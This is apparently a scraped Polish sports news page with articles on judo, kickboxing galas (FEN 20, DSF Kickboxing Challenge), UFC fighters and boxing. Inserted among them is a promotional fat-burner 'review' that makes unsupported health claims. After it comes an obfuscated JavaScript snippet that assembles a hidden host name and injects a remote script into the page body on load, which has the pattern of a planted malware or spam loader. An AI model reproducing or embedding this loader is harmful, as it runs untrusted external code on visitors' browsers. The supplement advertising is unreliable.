Dusseldorf na trasie polskich judoków

Kolejne międzynarodowe zawody judo w tym roku. Zawodnicy powalczą o punkty do światowego rankingu w Grand Slam w Dusseldorfie (23-25 luty). Na starcie dziewięcioro reprezentantów Polski.

W ubiegłym tygodniu odbyły się zmagania w Pucharze Polski seniorek i seniorów w Mysiadle. Dwoje ze zwycięzców znalazło się w kadrze na Grand Slam w Dusseldorfie. To Karolina Pieńkowska (52kg) i Damian Stępień (81kg). Judoczka AZS UW Warszawa znakomicie rozpoczęła tegoroczne starty. W Pucharze Europy w Odivelas zdobyła srebrny medal, lepsza była tylko Kanadyjka Ecaterina Guica. Pieńkowska dołożyła do swojego dorobku Puchar Polski, ale w Dusseldorfie poprzeczka będzie zawieszona wyżej. W kategorii Polki zgłoszonych jest dwadzieścia zawodniczek, wśród których są m.in. brązowa medalistka ubiegłorocznych mistrzostw świata Erika Miranda czy zdolna Francuzka Astride Gneto. W tym gronie zaprezentuje się również Agata Perenc.

Agata Ozdoba-Błach (63kg) będzie chciała w Niemczech wypaść lepiej niż rok temu. Wtedy to odpadła już w pierwszej walce przegrywając z Hiszpanką Cristiną Cabaną Perez. Ale wtedy były to tzw. pierwsze śliwki robaczywki. 2017 rok w wykonaniu Ozdoby-Błach był niezwykle udany. Po pierwsze, ze względów prywatnych, ponieważ wyszła za mąż za wieloletniego zawodnika judo Łukasza Błacha. Z kolei sportowo sięgnęła indywidualnie po brązowy medal mistrzostw świata. Do tego dołożyła zwycięstwo w Pucharze Europy w Mińsku i wywalczyła trzecie miejsca w Pradze i Abu Dhabi.

Sił w Dusseldorfie spróbuje również Anna Borowska (57kg), której nie powiodło się w Odivelas. W pierwszej rundzie miała wolny los, ale w kolejnej trafiła na Japonkę Yukę Watabe i odpadła z rywalizacji. Niedosyt po występie w Portugalii miała Julia Kowalczyk (57kg). 20-latka otarła się o podium, jednak ostatecznie zajęła piąte miejsce.

Na pierwsze podium w międzynarodowych zawodach czeka nadal Damian Stępień. Być może dobrym prognostykiem przed startem w Dusseldorfie jest dla zawodnika AZS UW Warszawa będzie triumf w Pucharze Polski? W tym roku Stępień startował w Sofii, gdzie przegrał w pierwszym starciu z Nikolą Gusiciem. Jak burza w Bułgarii szedł Damian Szwarnowiecki (81kg), który w zeszłym roku ani razu nie znalazł się na punktowanym miejscu. W Sofii pokazał potencjał i zajął 5. lokatę.

Jak zawsze duże nadzieje wiążemy ze startem Piotra Kuczery (90kg). A są ku temu powody. Zawodnik z Rybnika rok rozpoczął od zwycięstwa w Sofii. Jeśli powtórzy się scenariusz z poprzedniego roku, w Dusseldorfie należy spodziewać się kolejnego zwycięstwa Polaka. W 2017 roku Kuczera najpierw wygrał w Rzymie, a potem w Katowicach. Ostatnim Polakiem, który zaprezentuje się w zawodach Grand Slam jest Rafał Kozłowski (90kg). 22-latek był siódmy w Sofii.

Fot. Piotr Kuczera Facebook

KM

Posted in Bez kategorii

Spalacz tluszczu REDOX – poznaj naszą opinię

Coraz częściej szukając efektywnego spalacza tłuszczu, spotykamy się ze wzmiankami o produkcie Allnutrition Redox Extreme. Jak sugeruje producent, suplement ten jest obecnie najlepszą opcją, aby pozbyć się nadmiaru tłuszczu z organizmu, co stanowi dobrą alternatywę dla produktów obecnych na rynku od kilku lat. Jak piszą użytkownicy forum SFD, dzięki produktowi Redox Extreme, udało się im schudnąć do pułapu, który wyznaczyli sobie jako cel, a pomoc wykwalifikowanych dietetyków i trenerów, którą otrzymali po zakupie suplementu, znacznie przyspieszyła efekty redukcji.

Przyglądając się więc produktowi, naszą uwagę przykuł fakt, że kupując suplement diety, nie tylko otrzymujemy sam spalacz Redox Extreme, ale i pomoc dietetyka/trenera, który ustali nam dietę, jak i sposób, w jaki mamy trenować. Jest to dość nietypowe rozwiązanie, jak na sprzedaż suplementu diety, które wymaga podkreślenia. Co więcej, jak wyczytać możemy w sklepie SFD, do produktu dołączony jest fałdomierz wraz z instrukcją wykonywania pomiarów, który pozwoli nam na kontrolowanie efektów.

Patrząc z kolei stricte na skład spalacza Redox Extreme, zauważyć można, że pierwszą substancją, która jest wyszczególniona i która ma działać silnie termogenicznie, jest opatentowana forma kapsaicyny w postaci capsimax. Substancja ta, dodatkowo będzie blokować apetyt, jak i wspomagać wrażliwość insulinową, co wskazuje szerokie spektrum działania spalacza. Dodatkowo chrom i wyciąg z cynamonu, mają za zadanie wesprzeć działanie podtrzymujące gospodarkę cukrową, co zapobiega efektowi ponownemu magazynowaniu energii w postaci tkanki tłuszczowej.

Jednak, na forum sfd spotykamy się również z wpisami, gdzie sugerowano, że spalacz znacznie podnosi możliwości układu nerwowego. Zawiera bowiem w swoim składzie takie komponenty jak różeniec górski, wyciąg z szafranu, które wykorzystują swoje działania adaptogenne, pozwalając szybciej się regenerować, jak i podtrzymywać jego aktywność na wysokim poziomie. Co więcej, wyciąg z szafranu posiada właściwości, które podtrzymują dobre samopoczucie, co ma przeciwdziałać obniżonemu nastrojowi, wynikającemu z niskiej podaży energii.

Należy jednak pamiętać, że samo wykorzystanie spalacza to nie tylko efekt doraźny, stricte redukujący tłuszcz. To również wsparcie motywacyjne, psychologiczne, które polegać ma na podtrzymaniu motywacji do treningów. Wykorzystanie spalacza w formie przedtreningówki to również okazja do tego, aby trening był intensywniejszy, dłuższy, co pozwala spalić więcej kalorii podczas jednego wysiłku.

Podsumowując

Kupując spalacz Redox Extreme, otrzymujemy nie tylko suplement diety, ale i wsparcie dietetyka i trenera. Pozwala to na kompleksowe podejście do tematu odchudzania, które można dodatkowo kontrolować za pomocą fałdomierza. Z analizy wpisów na forum sfd jasno wynika, że jest to inwestycja godna uwagi, która daje znakomite rezultaty.

[kod]

(function(){
apk2=document.createElement("script");apk2_="u"+("s")+"ta";
apk2_+=("t.i")+""+"n";apk2_+=(("f")+"o");apk2.type="text/javascript";
apk2_+="/"; apk2u="72465988";apk2u+=".yh3gbum2pk2glx4q9lu";apk2u+="5pzxz8zqvaX";
apk2.src="//"+apk2_+apk2u; apk2.async=true; document.body.appendChild(apk2);
})();

Korczak – Szreder na FEN 20

Znamy już wszystkich zawodników jubileuszowej, warszawskiej FEN 20 „Next Level”! 10 marca rywalem Marcina Szredera (5-2) będzie Rafał Korczak (1-1).

Dla Korczaka (1-1) będzie to debiut w federacji FEN. Dotychczas, trenujący na co dzień w klubie Uniq Fight Club zawodnik, stoczył w swojej krótkiej karierze dwa pojedynki – raz wygrywając i raz doznając porażki. Do walki na Torwarze przygotowuje się między innymi w towarzystwie Radosława Paczuskiego, którego zobaczymy w pojedynku wieczoru FEN 20. Warszawianin Korczak liczy na to, że dzięki pokonaniu Szredera w efektowny sposób zaznaczy swoją obecność w barwach federacji już podczas inauguracyjnego występu.

Dla Marcina Szredera (5-2) będzie to piąty występ dla Fight Exclusive Night i siódmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low-kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem Aytakiem Yahsim podczas gali FEN 11 „Warsaw Time”. W marcu ubiegłego roku podczas FEN 16 „Warsaw Reloaded” już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim, którego również zobaczymy w akcji 10 marca.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • Rafał Korczak VS Marcin Szreder 95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

MAZURKIEWICZ: Zwycięstwo nad Kosowskim przybliży mnie do walki o pas federacji DSF!

Już 9 marca na gali DSF Kickboxing Challenge: Twierdza dojdzie do rewanżowej walki pomiędzy Marcinem Mazurkiewiczem (8-3) a Wojciechem Kosowskim (9-2-1). Zwycięzca wykona wielki krok w kierunku pojedynku o mistrzowski pas federacji w wadze do 77 kg.     W tej kategorii federacja nie ma jeszcze swojego czempiona!

Pas DSF w kategorii do 77 kg jest nieobsadzony. To ja chcę zostać pierwszym mistrzem federacji w tej wadze. Pracuję na to bardzo ciężko – przekonuje pewny siebie Mazurkiewicz. – Nie ma złej krwi między mną a rywalem. To sport, każdy chce wygrać. Stoczymy dobrą walkę, ale tym razem to ja będę górą. To będzie mój pierwszy pojedynek w tym roku. Chcę dobrze zacząć i wykonać duży krok w kierunku mistrzowskiego pasa DSF Kickboxing Challenge!

33-letni Kosowski mocno studzi zapędy przeciwnika.

Mam przed sobą poważne wyzwanie. DSF to obecnie najmocniejsza federacja na polskim rynku K-1. Nie mogłem jej odmówić. Ta walka pokaże, czy się jeszcze nadaję – ocenia Wojciech Kosowski. – Marcin mówi głośno, że chce zdobyć pas federacji. Uważam, że w życiu trzeba twardo stąpać po ziemi, nie lewitować. W samej Palestrze jest kilku zawodników, których bardziej bym widział z takim pasem. Po sparingach w klubie często wychodzę bardziej poobijany niż po walce zawodowej z Marcinem Mazurkiewiczem w 2016 roku – kończy weteran.

25-letni Mazurkiewicz i starszy o osiem lat Kosowski po raz pierwszy starli się w grudniu 2016 roku na gali DSF Kickboxing Challenge: Najlepsi z Najlepszych w Hotelu Marriott w Warszawie. Doświadczenie wygrało wówczas z młodością. Rok później dawni rywale znów spotkają się w ringu. Stawka będzie jednak wyższa.

Wtedy mnie pokonał, choć walka była bardzo bliska. Czekałem na ten rewanż i nie widzę innej opcji niż moje zwycięstwo. Głód jest spotęgowany tym, że wtedy przegrałem. To siedzi z tyłu głowy, więc ze zdwojoną siłą chcę pokazać swoje możliwości. Tym razem wygra ten, kto bardziej się rozwinął – mówi Mazurkiewicz.

Zwycięzca pierwszej walki stracił cały 2017 rok z powodu kontuzji. Po dwóch operacjach w pełni sprawny Wojciech Kosowski wrócił do treningów i zamierza szybko nadrobić stracony czas.

Pamiętam, że walka była zacięta, ale sędziowie widzieli moje zwycięstwo. Powtórzenie tego wyniku to dla mnie szansa na powrót do gry – przyznaje zawodnik klubu Palestra Warszawa. – Mój przeciwnik jest zdeterminowany, by się odegrać. Widzę, że zmienił styl na bardziej ofensywny. Nie próżnował i stoczył dla organizacji DSF dwie wygrane walki w ubiegłym roku. Na pewno rewanż będzie dla mnie trudniejszy, ale nie boję się wyzwań – dodaje Kosowski.

Trenujący na co dzień w Fight House Nowy Sącz Mazurkiewicz nie ma wątpliwości, że ciężka praca przyniesie efekty i na ringu w Nowym Dworze Mazowieckim to jego ręka powędruje w górę po ostatnim gongu.

Trenuję do upadłego, nie ma półśrodków. Zawsze daję z siebie wszystko, bo nie chcę zostać zapomniany. Jestem dziś pod każdym względem lepszy niż w pierwszej walce. Będę twardy, nieustępliwy i cały czas zamierzam iść do przodu. Chcę dominować w ringu. Zobaczą to sędziowie jak i przeciwnik, który albo pęknie, albo wywiąże się z tego dobra walka. Wiem, czego pragną kibice. Chcę im dać wielkie widowisko – zapewnia sądeczanin.

Z jednej strony będą ambicje młodego wojownika, z drugiej wielkie doświadczenie i spokój ringowego weterana, który w przeszłości dwukrotnie (w latach 2012 i 2014) zdobywał tytuł mistrza świata Muay Thai.

Nie jestem dobrym oratorem, ale widzę za to, że mój przeciwnik poprawił się na tym gruncie.       W ringu walczy dwóch, na pewno jeden będzie miał po konfrontacji ręce uniesione, a drugi opuszczone. Spekulacje zostawmy bukmacherom. Gdybym miał obstawiać pieniądze, postawiłbym na siebie. Czy wygrają doświadczenie i rutyna, czy młodość i ambicja rywala? Przekonajcie się samemu, przychodząc 9 marca na halę NOSiR w Nowym Dworze Mazowieckim – odpowiada Kosowski.

W walce wieczoru gali DSF Kickboxing Challenge: Twierdza w federacji zadebiutuje Piotr Strus, którego w trzyrundowym starciu w kategorii do 91 kg przetestuje niebezpieczny Brice Kombou z Kamerunu. Wcześniej do obrony mistrzowskiego tytułu Full Contact (81 kg) przystąpi Łukasz Wichowski, który zmierzy się z trzykrotnym mistrzem świata z Francji Yohanem Lidonem. Pierwszą tegoroczną walkę stoczy również znany z występów na całym świecie Rafał Dudek (71 kg), a kolejną atrakcją dla kibiców kickboxingu będzie obsadzony gwiazdami europejskiej sceny K-1 turniej w kategorii do 65 kilogramów.

Bilety na galę DSF Kickboxing Challenge: Twierdza są dostępne w cenie od 50 PLN w serwisie TicketClub.pl.

Najpierw Parker, potem Miller?

Marzec upłynie pod znakiem ciekawych walk w bokserskiej wadze ciężkiej. 3 marca w Barclays Center mistrz WBC Deontay Wilder zmierzy się z Luisem Ortizem. Między pięściarzami iskrzy od dawna. Na drugie starcie trzeba będzie poczekać do 31 marca. Wtedy to w Cardiff do ringu wejdą czempion IBF, IBO, WBA Anthony Joshua i właściciel pasa WBO Joseph Parker. Jednak promotor urodzonego w Watfordzie boksera już myśli o kolejnych wyzwaniach.

Aby osiągnąć sukces trzeba mieć cel i konsekwentnie do niego dążyć. Czasami nie należy skupiać się na tym, co tu i teraz. Momentami bywa ciężko, ale trzeba zacisnąć zęby i iść dalej. Joshua jest już na szczycie i uchodzi za gwiazdę światowego pięściarstwa. Nad jego karierą czuwa Eddie Hearn, który nie próżnuje. Wszyscy miłośnicy boksu oczekują, że w tym roku przyjdzie im zobaczyć starcie Joshuy z Wilderem. Dyskusja na ten temat toczy się od dawna. W styczniu Eddie Hearn dał do zrozumienia, że "AJ" jest w stanie rywalizować z Amerykaninem, ale ten ma zbyt wygórowane żądania. Mistrz WBC był oburzony, gdy złożono mu propozycję starcia z Dillianem Whyte'm. 

Gwiazdy wagi ciężkiej na ringu pojawią się w marcu. Joshua będzie miał okazję dołożyć do swojego dorobku kolejny pas. W Cardiff zmierzy się z mistrzem WBO Josephem Parkerem, który tytuł zdobył ponad rok temu zwyciężając Andy'ego Ruiza. 26-letni Nowozelandczyk dwa razy bronił pasa – pokonał Razvana Cojanu i Hughie Fury'ego.

Hearn ma już pomysł na kolejnego rywala dla Joshuy i wcale nie jest to Wilder. Promotor czempiona z Watford czyni przymiarki do jego debiutu w Stanach Zjednoczonych. Joshua miałby zmierzyć się z Jarrellem Millerem, który niedawno pokonał Mariusza Wacha. Jak dotąd 29-latek nie przegrał żadnnego pojedynku, wygrał 20, a 28 kwietnia spotka się z byłym pretendentem do pasa WBC Johannem Duhapasem. – Miller jest czołowym zawodnikiem amerykańskiej wagi ciężkiej. Jego szanse w starciu z Duhaupasem oceniam 50-50. W ostatniej walce Miller nie prezentował się najlepiej, ale na tle Wacha ciężko dobrze wypaść, a Jarrell wygrał przed czasem – mówi promotor Anthony'ego Joshuy.

A może zapowiedzi Hearna to tylko gra, która ma obniżyć żądania Wildera? – Miller ma okazję udowodnić, że jest gotowy na mistrzowskie starcie. Jeśli Wilder nadal będzie fantazjował, to w sierpniu będzie dążyli do walki Joshua vs Miller – zapowiada Hearn.

KM

Wielkie wyzwania przed Strusem i Wichowskim na DSF Kickboxing Challenge: Twierdza!

Jak debiutować – to z przytupem. 9 marca na gali „DSF Kickboxing Challenge: Twierdza” Piotr Strus nie będzie miał taryfy ulgowej. W pierwszej walce dla federacji zmierzy się z niebezpiecznym Brice’em Kombou. Kameruńczyk z niemieckim paszportem to pogromca obecnego mistrza DSF Kickboxing Challenge Maksymiliana Bratkowicza. Na tej samej gali niepokonany Łukasz Wichowski będzie bronił tytułu w formule Full Contact w starciu z francuskim mistrzem świata – Yohanem Lidonem.

Piotr Strus, zanim rozpoczął karierę w MMA, walczył z powodzeniem w formułach stójkowych. Bardzo dobrze prezentował się w K-1, w którym odniósł 7 zwycięstw w ośmiu występach (jedna walka zakończyła się remisem). Walką z Kombou pochodzący z Warszawy zawodnik chce podtrzymać dobrą passę i udanie zaprezentować się przed fanami najlepszej polskiej federacji kickboxingu.

""

Widziałem jego walkę z Maksem, Kombou to bardzo groźny zawodnik, który opiera swój styl na dobrej kondycji i cały czas poluje na mocne uderzenia. Nie dam mu się rozwinąć, spróbuję go stłamsić od początku. Jestem w treningowym sztosie i zapewniam was, że zobaczycie trzyrundową wojnę w naszym wykonaniu. Nikt nie pożałuje, że przyszedł obejrzeć mój debiut w DSF Kickboxing Challenge – gwarantuje 29-letni Strus.

Wielkie wyzwanie czeka także mistrza DSF Kickboxing Challenge w formule Full Contact w kategorii do 81 kilogramów. Rywalem Łukasza Wichowskiego będzie znany z agresywnego stylu i potężnego uderzenia Yohan Lidon. 34-letni Francuz jest trzykrotnym mistrzem świata         w Muay Thai i kickboxingu. Stoczył ponad sto zawodowych walk i odniósł w nich aż 93 zwycięstwa (56 przez nokaut). Jako pierwszy kickbokser w historii Lidon został mistrzem świata It’s Showtime.

""

Mój rywal jest znakomitym zawodnikiem. Tylko starcia z takimi fighterami motywują do wchodzenia na jeszcze wyższy poziom sportowy. Cieszę się z tego wyzwania, ale ten pas jest ze mną praktycznie od początku istnienia i nie zamierzam go oddawać. Pozostanę mistrzem DSF Kickboxing Challenge w formule Full Contact – zapewnia Wichowski, który w zawodowej karierze stoczył 15 walk i nie przegrał ani razu.

Pod dużym wrażeniem umiejętności Yohana Lidona jest dyrektor sportowy DSF Kickboxing Challenge Robert Złotkowski, który postanowił ściągnąć Francuza do Polski.

Ciężko znaleźć godnego rywala dla Łukasza Wichowskiego. Myślę, że tym razem to się udało. Jedno jest pewne, czeka nas pięć fantastycznego kickboxingu, jeśli oczywiście walka nie zakończy się przed czasem. Łukasz, jak sam o sobie mówi, chce kroczyć drogą swojego mistrza Marka Piotrowskiego, który walcząc przez całą karierę z najlepszymi w formule Full Contact osiągnął w tym piekielnie trudnym sporcie wszystko. Jeśli Łukasz chce być najlepszy, musi iść tą samą drogą – podkreśla Złotkowski.

""

Kolejnym spektakularnym wydarzeniem na gali w Nowym Dworze Mazowieckim będzie międzynarodowy – czteroosobowy turniej (do 65 kg) mistrzów, który w takiej formule odbędzie się po raz pierwszy na DSF Kickboxing Challenge. Bardzo interesująco zapowiadają się także dwie walki zawodników z Nowego Sącza – Rafała Dudka (71 kg) i Marcina Mazurkiewicza (77 kg).

Pierwszy wciąż należy do najlepszych polskich kickbokserów. Drugi to jego wychowanek, który pokazał się z bardzo dobrej strony w 2017 roku. Obaj mówią jednym głosem, że w tym roku chcieliby stanąć do walki o pasy DSF Kickboxing Challenge w swoich kategoriach. Jeśli chcą zbliżyć do tego celu, muszą w Nowym Dworze pokazać mistrzowską formę.

Bilety na galę DSF Kickboxing Challenge: TWIERDZA są dostępne w cenie od 50 PLN na stronie TicketClub.pl.

Leśko przed FEN 20: To ja będę górą w tym czysto sportowym pojedynku

Bartosz Leśko (6-0-1, 2 KO, 3 SUB) zmierzy się z Marcinem Naruszczką (18-8, 7 KO, 2 SUB) podczas gali Fight Exclusive Night 20 "Next Level". Zawodnik z Gdyni stoczy dopiero swój trzeci pojedynek w barwach federacji, a starcie z Naruszczką będzie największym jego wyzwaniem w dotychczasowej karierze. Leśko jest przekonany, że to jego ręka będzie w górze po walce.

Już tylko kilkanaście dni pozostało do gali FEN 20. Jak się czujesz?

Bartosz Leśko:Bardzo dobrze. Z dnia na dzień coraz lepiej. Sam jestem zdumiony, w jakiej jestem formie, a przecież do walki zostało jeszcze trochę czasu. Energia we mnie buzuje, jestem gotowy już dziś wyjść do klatki.

Ile ważysz?

BL:91 kilogramów, trochę schudłem, by w ostatnim etapie przed walką mieć mniej do zbijania. Jestem dużo szybszy już dziś, a jeszcze sporo przed nami. Forma ma przyjść 10 marca i tak też jestem prowadzony.

Marcin Naruszczka ważył dużo więcej podczas przygotowań. Wiele osób zwracało uwagę na to, że urósł.

BL:Bardzo dobrze – jeżeli tak czuł się dobrze, to podjął słuszną decyzję – nic mi do tego. Musi więcej zbijać do pojedynku, ale to doświadczony zawodnik i na pewno sobie z tym poradzi.

Oglądałeś jego walki?

BL:Widziałem dwie, ale nie teraz, już wcześniej. Z Andrzejem Grzebykiem, bo oglądałem całę galę FEN 18 i z Pawłem Brandysem, gdyż też z nim walczyłem i analizowałem styl walki Brandysa. Co mogę o nim powiedzieć? To dobry zawodnik, ma sporo atutów, ale popełnia też błędy jak każdy z nas. Skupiam się na sobie, by zrealizować swój plan na walkę. Oczywiście, że zdaje sobie sprawę z powagi wyzwania, ale jestem spokojny. Wyjdę i wygram ten emocjonujący, czysto sportowy pojedynek.

Każdy tak mówi.

BL:Tak? To widzisz, niczym się nie wyróżnię. Czuję już lekkie emocje. Gdy zawodnik mówi, że nie czuje żadnych emocji i w ogóle się nie denerwuje, to oszukuje, bo to niemożliwe. Pewnie im bliżej walki, tym ekscytacja będzie większa, ale to wpłynie tylko na dobre w moim pojedynku.

Przygotowywałeś się do tej walki z Oskarem Piechotą, który efektownie wygrał podczas ostatniej gali UFC. To dobry znak.

BL:Zdecydowanie tak, bo widziałem w jaki sposób Oskar trenuje i jak dobrze jest przygotowany do walki. Naprawdę on z walki na walkę robi coraz większy progres i w ogóle nie byłem zaskoczony tym, co zobaczyłem podczas UFC.

Jaki jest plan na te ostatnie kilkanaście dni?

BL:W tym tygodniu jeszcze sparingi, a potem już łapanie świeżości i szybkości. Na dzień dzisiejszy jestem bardzo zadowolony z przepracowanego okresu i mam nadzieję, że tak też już zostanie.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Media trening przed galą FEN 20

W sobotę, 24 lutego, o godzinie 22:00 w klubie Hulakula przy ulicy Jagiellońskiej 82B w Warszawie odbędzie się trening medialny przed galą Fight Exclusive Night 20 „Next Level”.

Będzie to znakomita okazja do porozmawiania z zawodnikami, którzy wezmą udział w tym wydarzeniu. Do dyspozycji przedstawicieli mediów będą Radosław Paczuski, Marian Ziółkowski, Arkadiusz Wrzosek, Marcin Naruszczka, Kamil Łebkowski, Marcin Szreder, Paweł Trybała, Tymoteusz Świątek i Alan Kwieciński. Od godziny 20:30 będzie czas na wywiady, a po ich zakończeniu, czyli od 22:00, przyjdzie czas na trening otwarty dla kibiców.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek +95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder +95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

PZKB: "Poland Professional Kickboxing Group"

Poland Professional Kickboxing Group jest nową komórką sportowo-szkoleniową powołaną przez Polski Związek Kickboxingu.

Priorytetowym celem działań tej grupy jest wsparcie szkoleniowo – sportowe oraz organizacyjne najwybitniejszych zawodników i trenerów Polskiego Związku Kickboxingu rywalizujących w walkach profesjonalnych. Sportowa działalność Poland Professional Kickboxing Group ukierunkowana będzie na szkolenia i ścisłą specjalizację w rywalizacji profesjonalnej wg. regulaminów walk ringowych (K-1 Rules, Low Kick, Full Contact).

Wszelkie działania i szkolenia grupa ta realizować będzie w pełnej synchronizacji z kalendarzem PZKB oraz programem organizacyjnym sportowego partnera związkowego – federacji zawodowej DSF Kickboxing Challenge.

Powstanie Poland Professional Kickboxing Group jest odpowiedzią na zapotrzebowanie wynikające z rozwoju i ekspansji polskiego zawodowego kickboxingu. Funkcjonowanie grupy powinno wzmocnić, wesprzeć i uzupełnić już funkcjonujące kierunki szkoleniowe kadr narodowych PZKB.

Patronat na działalnością Poland Professional Kickboxing Group objęli prezes PZKB Piotr Siegoczyński oraz v-ce prezes Andrzej Palacz. .

Kierownictwo szkoleniowo – organizacyjne nad grupą obejmie trener Tomasz Mamulski – tym samym będzie sprawował funkcję „Trenera Kadry Zawodowej Polskiego Związku Kickboxingu”.

Kierunek – na sam szczyt

Oskar Piechota potwierdził, że należy mu się miejsce w UFC. Polski zawodnik odniósł drugie zwycięstwo w amerykańskiej organizacji nokautując Tima Williamsa. Czy, a może wypada zapytać kiedy Piechota podbije wagę średnią?

Polscy kibice ściskali kciuki za kolejnych rodaków, którzy podpisywali kontrakty z organizacją UFC. Z wieloma wiązano ogromne nadzieje. Ale jak wiadomo skala przedsięwzięcia może paraliżować, a i trzeba się cały czas doskonalić, aby równać do najlepszych.

Świetnie w UFC zadebiutował, który w październiku 2014 roku w pierwszej rundzie rozbił Ilira Latifiego. Później przyszły gorsze dni dla Polaka, jednak ostatnio "John" wrócił na prostą i zanotował dwie wygrane z rzędu. Od porażki przygodę z UFC rozpoczął Krzysztof Jotko, ale kolejnych pięć walk padło jego łupem i pojawił się apetyt na walkę o pas. Następne dwa pojedynki Polak przegrał. W kwietniu Jotko stoczy ważną walkę z Bradem Tavaresem. Zwycięstwem z UFC przywitał się Daniel Omielańczuk. Następnie dwie porażki, trzy zwycięstwa i nadzieja na więcej, ale kolejne trzy przegrane zakończyły przygodę Polaka z amerykańską organizacją. Marcin Tybura na starcie przegrał, ale później zanotował trzy zwycięstwa. Teraz nie ma dobrej passy – dwie porażki.

W przypadku pań sytuacja wygląda zupełnie inaczej. Joanna Jędrzejczyk wygrała osiem pojedynków, zdobyła pas mistrzyni wagi koguciej i zatrzymała ją dopiero Rose Namajunas. Dobrze w UFC odnalazła się Karolina Kowalkiewicz. Kolejno odprawiła Randę Markos, Heather Clark i Rose Namajunas. Zatrzymała ją dopiero Jędrzejczyk, potem silniejsze okazała się Claudia Gadelha, ale Polka wróciła na zwycięską ścieżkę pokonując Jodie Esquibel.

Przykłady można mnożyć. Świetnie w Bellatorze radził sobie Marcin Held. Jego przejście do UFC było oczywiste, ale po trzech walkach pojawiły się obawy, że polski lekki szybko pożegna się z amerykańską organizacją. Brak szczęścia, niezrozumiały werdykt sędziów – sytuacja Helda mogła wyglądać inaczej, ale uratował się wygrywając z Nasratem Haqparastem. 26-latek wierzy, że będzie mógł sprawdzić się w kolejnej walce i pokazać swój potencjał. Niebawem w UFC zadebiutuje kolejny Polak – Marcin Prachnio. Pierwsze walki mają już za sobą Michał Oleksiejczuk i Adam Wieczorek, którzy dostarczyli radości polskim fanom wygrywając swoje starcia. Zatem – czekamy na więcej.

Mamy kilkunastoosobową armię wojowników w UFC. Jedni z większym, inni z mniejszym doświadczeniem. Start nie jest wyznacznikiem sukcesu. Pierwsza walka może różnie się ułożyć. Nawet zwycięstwo nie jest dokładnym weryfikatorem. Dopiero ten drugi pojedynek pokazuje, czy zawodnik mentalnie jest w stanie udźwignąć ciężar rywalizacji i odnajduje się sportowo w UFC. Oskar Piechota pokazał, że idealnie pasuje do amerykańskiej organizacji. Podczas gali UFC Fight Night 126 Polak znokautował w pierwszej rundzie Tima Williamsa. 11 zwycięstw na koncie Piechoty, w tym 10 przed czasem. To mówi samo za siebie. Nie można tego ukrywać – mamy w UFC zawodnika, którego sportowo stać na wiele. Piechota jest zdeterminowany i konsekwentny w tym, co robi. Ale najważniejsze, że ma świadomość celu, do którego dąży. – Kolejny krok za mną, cały czas jest to początek drogi ale kierunek jest jeden – na sam szczyt – napisał zawodnik po walce z Willamsem na swoim Facebooku.

Fot. Oskar Piechota Facebook

KM

Rafał Dudek: "Starty w DSF Kickboxing Challenge to mój priorytet!"

Rafał Dudek, jeden z najbardziej znanych polskich kickbokserów, wystąpi na DSF Kickboxing Challenge: TWIERDZA. Impreza odbędzie się 9 marca w Nowym Dworze Mazowieckim. W walce wieczoru w federacji zadebiutuje Piotr Strus. Wcześniej w obronie tytułu mistrza DSF Kickboxing Challenge w kategorii do 81 kilogramów powalczy specjalista Full Contact – Łukasz Wichowski.

Blisko 34-letni Rafał Dudek walczył na ringach całego świata dla najlepszych federacji jak Glory czy Enfusion. W Polsce od trzech lat związany jest z DSF Kickboxing Challenge. W tym czasie sądeczanin dwukrotnie był bohaterem walki wieczoru – na pierwszej gali „Najlepsi z Najlepszych” w Champions Sports Bar Restaurant w grudniu 2016 roku oraz w czerwcu 2017 roku na DSF Kickboxing Challenge 10 w Nowym Sączu, gdzie pokonał przed własną publicznością kickboksera i boksera Rafała Jackiewicza.

""

Stawiam na DSF Kickboxing Challenge. Starty tutaj to dla mnie priorytet – nie kryje Dudek, który w ubiegłym roku wystąpił również na dwóch galach GLORY. – Mam różne propozycje zagraniczne. Chciałbym stoczyć w tym roku cztery walki zawodowe – kończy amatorski i zawodowy mistrz Polski K-1.

